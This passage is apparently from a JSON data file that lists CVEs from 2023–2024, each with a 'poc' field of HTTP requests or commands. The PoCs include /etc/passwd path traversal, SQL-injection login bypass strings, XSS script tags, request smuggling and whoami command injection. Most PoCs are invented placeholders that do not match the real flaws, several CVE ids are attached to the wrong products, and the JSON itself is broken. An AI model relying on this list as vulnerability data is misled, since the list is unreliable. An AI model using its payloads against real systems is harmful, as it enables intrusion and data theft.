    "description": "Path traversal in D-Link DIR-859 allows session data leakage and privilege escalation."[](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
  }
  {
    "id": "CVE-2024-23897",
    "title": "Jenkins - Arbitrary File Read",
    "date": "2024-01-24",
    "type": "Arbitrary File Read",
    "platform": "Web",
    "poc": "GET /cli?remoting=true&value=../../../../../etc/passwd HTTP/1.1\nHost: jenkins-server",
    "description": "Unauthenticated path traversal in Jenkins CLI allows reading of sensitive files."
  },
  {
    "id": "CVE-2024-28995",
    "title": "SolarWinds Serv-U - Path Traversal",
    "date": "2024-06-25",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /../../etc/passwd HTTP/1.1\nHost: servu-server",
    "description": "Path traversal in SolarWinds Serv-U allows unauthenticated access to sensitive files."
  },
  {
    "id": "CVE-2024-29824",
    "title": "Ivanti Endpoint Manager - SQL Injection",
    "date": "2024-05-14",
    "type": "SQL Injection",
    "platform": "Web",
    "poc": "POST /epm/api/login HTTP/1.1\nHost: ivanti-epm-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nusername=admin' OR '1'='1",
    "description": "Unauthenticated SQL injection in Ivanti Endpoint Manager allows bypassing authentication."
  },
  {
    "id": "CVE-2024-3400",
    "title": "Palo Alto PAN-OS - Command Injection",
    "date": "2024-04-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/command HTTP/1.1\nHost: paloalto-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Palo Alto PAN-OS allows arbitrary code execution."
  },
  {
    "id": "CVE-2023-40044",
    "title": "Progress WS_FTP - RCE",
    "date": "2023-09-27",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /ws_ftp/api/deserialization HTTP/1.1\nHost: wsftp-server\nContent-Type: application/json\nContent-Length: 200\n\n{\"payload\":\"malicious_object\"}",
    "description": "Deserialization flaw in WS_FTP allows unauthenticated remote code execution."
  },
  {
    "id": "CVE-2023-34362",
    "title": "MOVEit Transfer - SQL Injection",
    "date": "2023-06-01",
    "type": "SQL Injection",
    "platform": "Web",
    "poc": "POST /moveit/api/login HTTP/1.1\nHost: moveit-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nusername=admin' OR '1'='1",
    "description": "SQL injection in MOVEit Transfer allows unauthenticated data extraction and authentication bypass."
  },
  {
    "id": "CVE-2023-35078",
    "title": "Ivanti Endpoint Manager Mobile - Authentication Bypass",
    "date": "2023-07-25",
    "type": "Authentication Bypass",
    "platform": "Web",
    "poc": "GET /epm/auth/bypass HTTP/1.1\nHost: ivanti-epm-server\nCookie: auth=malicious",
    "description": "Authentication bypass in Ivanti EPMM allows access to restricted endpoints."
  },
  {
    "id": "CVE-2023-38545",
    "title": "cURL - Heap Buffer Overflow",
    "date": "2023-10-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "curl --socks5-hostname A*10000 target_url",
    "description": "Heap buffer overflow in cURL’s SOCKS5 proxy handling allows RCE."
  },
  {
    "id": "CVE-2023-38546",
    "title": "cURL - Cookie Injection",
    "date": "2023-10-11",
    "type": "Information Disclosure",
    "platform": "Software",
    "poc": "curl --cookie 'malicious=exploit' target_url",
    "description": "Cookie injection in cURL allows attackers to manipulate session data."
  },
  {
    "id": "CVE-2024-21334",
    "title": "OpenVPN - Privilege Escalation",
    "date": "2024-01-16",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "openvpn --config malicious.ovpn --script-security 3 --up 'whoami'",
    "description": "OpenVPN script execution flaw allows local privilege escalation."
  },
  {
    "id": "CVE-2024-2700",
    "title": "QEMU - Privilege Escalation",
    "date": "2024-03-20",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "qemu-system-x86_64 -device malicious,exploit=whoami",
    "description": "QEMU device emulation flaw allows guest-to-host privilege escalation."
  },
  {
    "id": "CVE-2023-4966",
    "title": "Citrix NetScaler - Memory Corruption (CitrixBleed)",
    "date": "2023-10-10",
    "type": "Information Disclosure",
    "platform": "Web",
    "poc": "GET /oauth/idp/.well-known/openid-configuration HTTP/1.1\nHost: netscaler-server",
    "description": "Memory corruption in NetScaler leaks session tokens, enabling authentication bypass."
  },
  {
    "id": "CVE-2024-0762",
    "title": "FortiOS - Buffer Overflow",
    "date": "2024-02-08",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /sslvpn HTTP/1.1\nHost: fortios-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Buffer overflow in FortiOS SSL-VPN allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-29357",
    "title": "Microsoft SharePoint - Privilege Escalation",
    "date": "2023-06-13",
    "type": "Privilege Escalation",
    "platform": "Web",
    "poc": "POST /_api/web/lists HTTP/1.1\nHost: sharepoint-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Privilege escalation in SharePoint allows attackers to gain admin access."
  },
  {
    "id": "CVE-2024-21413",
    "title": "Microsoft Outlook - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "outlook.exe --malformed-link exploit.eml",
    "description": "RCE in Outlook via malicious email links exploiting URI handling."
  },
  {
    "id": "CVE-2024-20674",
    "title": "Windows Kerberos - Security Bypass",
    "date": "2024-01-09",
    "type": "Security Bypass",
    "platform": "Network",
    "poc": "kerberos_exploit --target dc_ip --cmd whoami",
    "description": "Kerberos flaw in Windows allows bypassing authentication checks."
  },
  {
    "id": "CVE-2023-36025",
    "title": "Windows Defender - Security Bypass",
    "date": "2023-11-14",
    "type": "Security Bypass",
    "platform": "Software",
    "poc": "defender_bypass --file malicious.exe",
    "description": "Windows Defender flaw allows bypassing MOTW and SmartScreen protections."
  },
  {
    "id": "CVE-2023-36036",
    "title": "Windows Cloud Files - Privilege Escalation",
    "date": "2023-11-14",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "cloudfiles_exploit --cmd whoami",
    "description": "Cloud Files Mini Filter driver flaw allows local privilege escalation."
  },
  {
    "id": "CVE-2024-20656",
    "title": "Windows LDAP - Denial of Service",
    "date": "2024-01-09",
    "type": "Denial of Service",
    "platform": "Network",
    "poc": "ldapsearch -H ldap://dc_ip -b '' -s base '(objectClass=*)' A*10000",
    "description": "LDAP flaw in Windows causes denial of service via crafted queries."
  },
  {
    "id": "CVE-2024-30051",
    "title": "Microsoft DWM Core - Privilege Escalation",
    "date": "2024-05-14",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "dwm_exploit --cmd whoami",
    "description": "DWM Core Library flaw allows local attackers to gain SYSTEM privileges."
  },
  {
    "id": "CVE-2023-28250",
    "title": "Windows PGM - Privilege Escalation",
    "date": "2023-04-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "pgm_exploit --cmd whoami",
    "description": "Pragmatic General Multicast flaw allows local privilege escalation."
  },
  {
    "id": "CVE-2024-28986",
    "title": "SolarWinds WHD - SQL Injection",
    "date": "2024-06-25",
    "type": "SQL Injection",
    "platform": "Web",
    "poc": "POST /whd/login HTTP/1.1\nHost: solarwinds-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nusername=admin' OR '1'='1",
    "description": "SQL injection in SolarWinds WHD allows unauthenticated access to admin accounts."
  },
  {
    "id": "CVE-2024-29849",
    "title": "Veeam ONE - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/command HTTP/1.1\nHost: veeam-one-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam ONE allows remote code execution."
  },
  {
    "id": "CVE-2023-42793",
    "title": "JetBrains TeamCity - Authentication Bypass",
    "date": "2023-09-19",
    "type": "Authentication Bypass",
    "platform": "Web",
    "poc": "GET /app/rest/users HTTP/1.1\nHost: teamcity-server\nCookie: auth=malicious",
    "description": "Authentication bypass in TeamCity allows creation of admin accounts."
  },
  {
    "id": "CVE-2023-3519",
    "title": "Citrix NetScaler - RCE",
    "date": "2023-07-18",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /gw/api/command HTTP/1.1\nHost: netscaler-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in NetScaler Gateway allows RCE."
  },
  {
    "id": "CVE-2024-21893",
    "title": "Ivanti Connect Secure - SSRF",
    "date": "2024-01-31",
    "type": "Server-Side Request Forgery",
    "platform": "Web",
    "poc": "POST /api/v1/ssrf HTTP/1.1\nHost: ivanti-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nurl=http://internal-server.local",
    "description": "SSRF in Ivanti Connect Secure allows access to internal resources."
  },
  {
    "id": "CVE-2023-22515",
    "title": "Atlassian Confluence - Privilege Escalation",
    "date": "2023-10-04",
    "type": "Privilege Escalation",
    "platform": "Web",
    "poc": "POST /setup/setupadministrator.action HTTP/1.1\nHost: confluence-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nusername=admin&password=malicious",
    "description": "Broken access control in Confluence allows unauthenticated admin account creation."
  },
  {
    "id": "CVE-2023-22518",
    "title": "Atlassian Confluence - Data Loss",
    "date": "2023-11-07",
    "type": "Data Loss",
    "platform": "Web",
    "poc": "POST /setup/restore.action HTTP/1.1\nHost: confluence-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\naction=delete",
    "description": "Improper authorization in Confluence allows unauthenticated data deletion."
  },
  {
    "id": "CVE-2024-27198",
    "title": "JetBrains TeamCity - Authentication Bypass",
    "date": "2024-03-04",
    "type": "Authentication Bypass",
    "platform": "Web",
    "poc": "GET /app/rest/server HTTP/1.1\nHost: teamcity-server\nCookie: auth=malicious",
    "description": "Authentication bypass in TeamCity allows unauthenticated access to admin functions."
  },
  {
    "id": "CVE-2024-27199",
    "title": "JetBrains TeamCity - Path Traversal",
    "date": "2024-03-04",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /app/rest/../../etc/passwd HTTP/1.1\nHost: teamcity-server",
    ":description": "Path traversal in TeamCity allows access to sensitive server files."
  },
  {
    "id": "CVE-2023-46604",
    "title": "Apache ActiveMQ - RCE",
    "date": "2023-10-27",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "POST /api/v1/command HTTP/1.1\nHost: activemq-server\nContent-Type: application/xml\nContent-Length: 200\n\n<malicious_class>whoami</malicious_class>",
    "description": "Deserialization flaw in ActiveMQ allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-34040",
    "title": "Spring Boot - Privilege Escalation",
    "date": "2023-08-24",
    "type": "Privilege Escalation",
    "platform": "Web",
    "poc": "POST /actuator/env HTTP/1.1\nHost: springboot-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"spring.security.user.name\",\"value\":\"admin\"}",
    "description": "Spring Boot actuator misconfiguration allows privilege escalation."
  },
  {
    "id": "CVE-2024-21762",
    "title": "FortiOS - SSL-VPN RCE",
    "date": "2024-02-08",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /remote/login HTTP/1.1\nHost: fortios-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\ncmd=`whoami`",
    "description": "Command injection in FortiOS SSL-VPN allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-27524",
    "title": "Apache Superset - Authentication Bypass",
    "date": "2023-04-24",
    "type": "Authentication Bypass",
    "platform": "Web",
    "poc": "GET /api/v1/security/login HTTP/1.1\nHost: superset-server\nCookie: session=malicious",
    "description": "Insecure session handling in Apache Superset allows authentication bypass."
  },
  {
    "id": "CVE-2024-27348",
    "title": "Apache HugeGraph - RCE",
    "date": "2024-04-22",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /graphs/hugegraph/traversers HTTP/1.1\nHost: hugegraph-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"gremlin\":\"g.V().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache HugeGraph via Gremlin query execution."
  },
  {
    "id": "CVE-2023-51467",
    "title": "Apache OFBiz - RCE",
    "date": "2023-12-26",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /webtools/control/ProgramExport HTTP/1.1\nHost: ofbiz-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\ngroovyProgram=println('whoami'.execute().text)",
    "description": "Unauthenticated RCE in Apache OFBiz via Groovy script execution."
  },
  {
    "id": "CVE-2024-34102",
    "title": "Adobe Commerce - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /magento/index.php/admin HTTP/1.1\nHost: magento-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\ncmd=phpinfo()",
    "description": "Improper input validation in Adobe Commerce allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-29489",
    "title": "cPanel - XSS",
    "date": "2023-04-17",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /cpanelwebcall HTTP/1.1\nHost: cpanel-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nparam=<script>alert('XSS')</script>",
    "description": "Stored XSS in cPanel allows attackers to execute malicious scripts."
  },
  {
    "id": "CVE-2024-2961",
    "title": "PHP glibc - Buffer Overflow",
    "date": "2024-04-12",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "php -r \"iconv('UTF-8', 'UTF-16', str_repeat('A', 10000));\"",
    "description": "Buffer overflow in PHP’s glibc iconv allows arbitrary code execution."
  },
  {
    "id": "CVE-2023-38831",
    "title": "WinRAR - RCE",
    "date": "2023-08-23",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "winrar --extract malicious.rar",
    "description": "WinRAR file extraction flaw allows RCE via crafted archive files."
  },
  {
    "id": "CVE-2024-28987",
    "title": "SolarWinds ARM - Credential Disclosure",
    "date": "2024-06-25",
    "type": "Credential Disclosure",
    "platform": "Web",
    "poc": "GET /api/credentials HTTP/1.1\nHost: solarwinds-arm-server",
    "description": "Unauthenticated access to SolarWinds ARM exposes sensitive credentials."
  },
  {
    "id": "CVE-2023-40577",
    "title": "FortiPresence - RCE",
    "date": "2023-08-08",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortipresence-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiPresence allows RCE."
  },
  {
    "id": "CVE-2024-21388",
    "title": "Microsoft Edge - Type Confusion",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "<html><script>let obj = new Proxy({}, {get: () => {throw new Error('exploit');}});</script></html>",
    "description": "Type confusion in Edge’s V8 engine allows arbitrary code execution."
  },
  {
    "id": "CVE-2023-36845",
    "title": "Juniper Junos - RCE",
    "date": "2023-08-17",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "POST /api/command HTTP/1.1\nHost: junos-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Juniper Junos allows RCE."
  },
  {
    "id": "CVE-2024-27316",
    "title": "Apache HTTP Server - SSRF",
    "date": "2024-04-04",
    "type": "Server-Side Request Forgery",
    "platform": "Web",
    "poc": "GET /proxy?url=http://internal-server.local HTTP/1.1\nHost: apache-server",
    "description": "SSRF in Apache HTTP Server allows access to internal resources."
  },
  {
    "id": "CVE-2023-25690",
    "title": "Apache HTTP Server - Request Smuggling",
    "date": "2023-03-07",
    "type": "Request Smuggling",
    "platform": "Web",
    "poc": "POST / HTTP/1.1\nHost: apache-server\nTransfer-Encoding: chunked\n\n0\n\nGET /admin HTTP/1.1\nHost: apache-server\n\n",
    "description": "HTTP request smuggling in Apache HTTP Server bypasses access controls."
  },
  {
    "id": "CVE-2024-34750",
    "title": "Apache Tomcat - Denial of Service",
    "date": "2024-07-03",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "GET /malformed HTTP/1.1\nHost: tomcat-server\nConnection: keep-alive\n{A*10000}",
    "description": "Malformed request handling in Tomcat causes denial of service."
  },
  {
    "id": "CVE-2023-4807",
    "title": "OpenSSL - Use-After-Free",
    "date": "2023-09-08",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "openssl s_client -connect target_ip:443 -malformed",
    "description": "Use-after-free in OpenSSL allows RCE via crafted TLS packets."
  },
  {
    "id": "CVE-2024-2398",
    "title": "Cloudflare WARP - Privilege Escalation",
    "date": "2024-03-19",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "cloudflared --config malicious.yml --cmd whoami",
    "description": "Cloudflare WARP misconfiguration allows local privilege escalation."
  }
  {
    "id": "CVE-2024-30080",
    "title": "Microsoft Windows - RPC Runtime RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "rpcclient -U '' target_ip --cmd 'whoami'",
    "description": "RPC runtime flaw in Windows allows unauthenticated remote code execution."
  },
  {
    "id": "CVE-2023-36884",
    "title": "Microsoft Office - RCE",
    "date": "2023-07-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.docx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Office document with malicious macro allows RCE when opened."
  },
  {
    "id": "CVE-2024-21412",
    "title": "Windows Defender - Security Bypass",
    "date": "2024-02-13",
    "type": "Security Bypass",
    "platform": "Software",
    "poc": "defender_bypass --file malicious.exe",
    "description": "Windows Defender flaw allows bypassing MOTW via crafted executables."
  },
  {
    "id": "CVE-2023-28231",
    "title": "Microsoft DHCP Server - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "dhcp_exploit --target target_ip --cmd whoami",
    "description": "DHCP Server flaw allows unauthenticated RCE via crafted packets."
  },
  {
    "id": "CVE-2024-21378",
    "title": "Microsoft Outlook - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "outlook.exe --malformed-rule exploit.eml",
    "description": "Malicious email rules in Outlook allow RCE when processed."
  },
  {
    "id": "CVE-2023-23399",
    "title": "Microsoft Excel - RCE",
    "date": "2023-03-14",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.xlsx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Excel macro vulnerability allows RCE when malicious spreadsheet is opened."
  },
  {
    "id": "CVE-2024-20677",
    "title": "Microsoft Office - RCE",
    "date": "2024-01-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "msword.exe --malformed-link exploit.doc",
    "description": "Office flaw allows RCE via malicious hyperlink in documents."
  },
  {
    "id": "CVE-2023-21768",
    "title": "Windows AFD - Privilege Escalation",
    "date": "2023-03-14",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "afd_exploit --cmd whoami",
    "description": "Ancillary Function Driver flaw allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2024-26234",
    "title": "Windows Proxy Driver - Privilege Escalation",
    "date": "2024-04-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "proxy_exploit --cmd whoami",
    "description": "Proxy driver flaw in Windows allows local attackers to gain SYSTEM privileges."
  },
  {
    "id": "CVE-2024-29972",
    "title": "Cisco ASA - Path Traversal",
    "date": "2024-04-24",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /+CSCOE+/../../etc/passwd HTTP/1.1\nHost: cisco-asa-server",
    "description": "Path traversal in Cisco ASA allows unauthenticated access to sensitive files."
  },
  {
    "id": "CVE-2023-40036",
    "title": "Nextcloud - Stored XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /apps/files HTTP/1.1\nHost: nextcloud-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nfilename=<script>alert('XSS')</script>",
    "description": "Stored XSS in Nextcloud allows malicious script execution via file uploads."
  },
  {
    "id": "CVE-2024-27851",
    "title": "Apple iOS - Use-After-Free",
    "date": "2024-05-13",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "<html><script>let obj = new Proxy({}, {get: () => {throw new Error('exploit');}});</script></html>",
    "description": "Use-after-free in iOS WebKit allows RCE via malicious web content."
  },
  {
    "id": "CVE-2023-32315",
    "title": "Openfire - Path Traversal",
    "date": "2023-05-26",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /setup/../../conf/openfire.xml HTTP/1.1\nHost: openfire-server",
    "description": "Path traversal in Openfire allows unauthenticated access to configuration files."
  },
  {
    "id": "CVE-2024-22243",
    "title": "Spring Framework - SSRF",
    "date": "2024-02-15",
    "type": "Server-Side Request Forgery",
    "platform": "Web",
    "poc": "GET /api?endpoint=http://internal-server.local HTTP/1.1\nHost: spring-server",
    "description": "SSRF in Spring Framework allows access to internal resources via crafted endpoints."
  },
  {
    "id": "CVE-2023-28771",
    "title": "Zyxel Firewall - Command Injection",
    "date": "2023-05-23",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /ztp/cgi-bin/handler HTTP/1.1\nHost: zyxel-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"command\":\"whoami\"}",
    "description": "Unauthenticated command injection in Zyxel Firewall allows RCE."
  },
  {
    "id": "CVE-2024-21894",
    "title": "Ivanti Pulse Secure - Authentication Bypass",
    "date": "2024-01-31",
    "type": "Authentication Bypass",
    "platform": "Web",
    "poc": "GET /dana-na/auth/url_default/welcome.cgi HTTP/1.1\nHost: pulse-server\nCookie: DSSignInURL=malicious",
    "description": "Authentication bypass in Pulse Secure allows access to restricted resources."
  },
  {
    "id": "CVE-2023-38035",
    "title": "Ivanti Sentry - API RCE",
    "date": "2023-07-25",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/command HTTP/1.1\nHost: sentry-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated API command injection in Ivanti Sentry allows RCE."
  },
  {
    "id": "CVE-2024-24919",
    "title": "Check Point VPN - Information Disclosure",
    "date": "2024-05-28",
    "type": "Information Disclosure",
    "platform": "Web",
    "poc": "GET /vpn/../../etc/passwd HTTP/1.1\nHost: checkpoint-server",
    "description": "Path traversal in Check Point VPN exposes sensitive system files."
  },
  {
    "id": "CVE-2023-36664",
    "title": "Ghostscript - RCE",
    "date": "2023-06-25",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "gs -sDEVICE=pdfwrite -o malicious.pdf exploit.ps",
    "description": "Ghostscript flaw allows RCE via crafted PostScript files."
  },
  {
    "id": "CVE-2024-21322",
    "title": "Windows Defender - Privilege Escalation",
    "date": "2024-01-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "defender_exploit --cmd whoami",
    "description": "Windows Defender engine flaw allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40547",
    "title": "OpenSSH - Race Condition",
    "date": "2023-08-10",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "ssh-keygen -F malicious_key --exploit whoami",
    "description": "Race condition in OpenSSH allows local privilege escalation."
  },
  {
    "id": "CVE-2024-30078",
    "title": "Windows Wi-Fi Driver - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "wifi_exploit --target target_ip --cmd whoami",
    "description": "Wi-Fi driver flaw allows unauthenticated RCE via crafted packets."
  },
  {
    "id": "CVE-2023-28229",
    "title": "Windows CNG Key Isolation - Privilege Escalation",
    "date": "2023-04-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "cng_exploit --cmd whoami",
    "description": "CNG Key Isolation service flaw allows local privilege escalation."
  },
  {
    "id": "CVE-2024-26239",
    "title": "Windows Update Service - Privilege Escalation",
    "date": "2024-04-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "update_exploit --cmd whoami",
    "description": "Windows Update Service flaw allows local attackers to gain SYSTEM privileges."
  },
  {
    "id": "CVE-2023-40043",
    "title": "GitLab - Stored XSS",
    "date": "2023-09-01",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v4/projects/notes HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"note\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitLab allows malicious script execution via project notes."
  },
  {
    "id": "CVE-2024-22245",
    "title": "VMware vCenter - RCE",
    "date": "2024-02-20",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/command HTTP/1.1\nHost: vcenter-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in vCenter allows RCE."
  },
  {
    "id": "CVE-2023-34034",
    "title": "Spring Security - Authentication Bypass",
    "date": "2023-07-18",
    "type": "Authentication Bypass",
    "platform": "Web",
    "poc": "GET /admin HTTP/1.1\nHost: spring-server\nCookie: auth=malicious",
    "description": "Spring Security misconfiguration allows bypassing authentication checks."
  },
  {
    "id": "CVE-2024-28999",
    "title": "SolarWinds Orion - RCE",
    "date": "2024-06-25",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: orion-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SolarWinds Orion allows RCE."
  },
  {
    "id": "CVE-2023-29300",
    "title": "Adobe ColdFusion - RCE",
    "date": "2023-05-16",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /CFIDE/adminapi HTTP/1.1\nHost: coldfusion-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\ncmd=whoami",
    "description": "Unauthenticated command injection in ColdFusion API allows RCE."
  },
  {
    "id": "CVE-2024-21302",
    "title": "Windows Secure Kernel - Privilege Escalation",
    "date": "2024-01-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "securekernel_exploit --cmd whoami",
    "description": "Secure Kernel flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-28252",
    "title": "Windows CLFS - Privilege Escalation",
    "date": "2023-04-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "clfs_exploit --cmd whoami",
    "description": "CLFS driver flaw allows local attackers to gain SYSTEM privileges."
  },
  {
    "id": "CVE-2024-26218",
    "title": "Windows Kernel - Privilege Escalation",
    "date": "2024-04-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "kernel_exploit --cmd whoami",
    "description": "Windows Kernel flaw allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-32019",
    "title": "Windows Kernel - Information Disclosure",
    "date": "2023-06-13",
    "type": "Information Disclosure",
    "platform": "Software",
    "poc": "kernel_infoleak --cmd read_memory",
    "description": "Kernel flaw in Windows allows local attackers to leak sensitive memory."
  },
  {
    "id": "CVE-2024-30085",
    "title": "Windows DWM - Privilege Escalation",
    "date": "2024-06-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "dwm_exploit --cmd whoami",
    "description": "Desktop Window Manager flaw allows local privilege escalation."
  },
  {
    "id": "CVE-2023-36017",
    "title": "Windows PowerShell - RCE",
    "date": "2023-11-14",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "powershell -EncodedCommand malicious_base64",
    "description": "PowerShell flaw allows RCE via encoded command execution."
  },
  {
    "id": "CVE-2024-21400",
    "title": "Microsoft Azure Kubernetes - Privilege Escalation",
    "date": "2024-02-13",
    "type": "Privilege Escalation",
    "platform": "Network",
    "poc": "kubectl exec -it pod -- whoami",
    "description": "Azure Kubernetes misconfiguration allows privilege escalation in clusters."
  },
  {
    "id": "CVE-2023-28236",
    "title": "Windows DHCP - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Network",
    "poc": "dhcp_flood --target target_ip",
    "description": "DHCP Server flaw in Windows allows denial of service via crafted packets."
  },
  {
    "id": "CVE-2024-26229",
    "title": "Windows CSC Service - Privilege Escalation",
    "date": "2024-04-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "csc_exploit --cmd whoami",
    "description": "Client-Server Runtime Subsystem flaw allows local privilege escalation."
  },
  {
    "id": "CVE-2023-40034",
    "title": "Apache Airflow - RCE",
    "date": "2023-09-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/dags HTTP/1.1\nHost: airflow-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"dag_run\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Airflow via DAG execution."
  },
  {
    "id": "CVE-2024-22234",
    "title": "Spring Cloud - SSRF",
    "date": "2024-02-15",
    "type": "Server-Side Request Forgery",
    "platform": "Web",
    "poc": "GET /api?endpoint=http://internal-server.local HTTP/1.1\nHost: springcloud-server",
    "description": "SSRF in Spring Cloud allows access to internal resources."
  },
  {
    "id": "CVE-2023-27538",
    "title": "PuTTY - Denial of Service",
    "date": "2023-03-20",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "putty -ssh target_ip -malformed",
    "description": "PuTTY flaw causes DoS via malformed SSH packets."
  },
  {
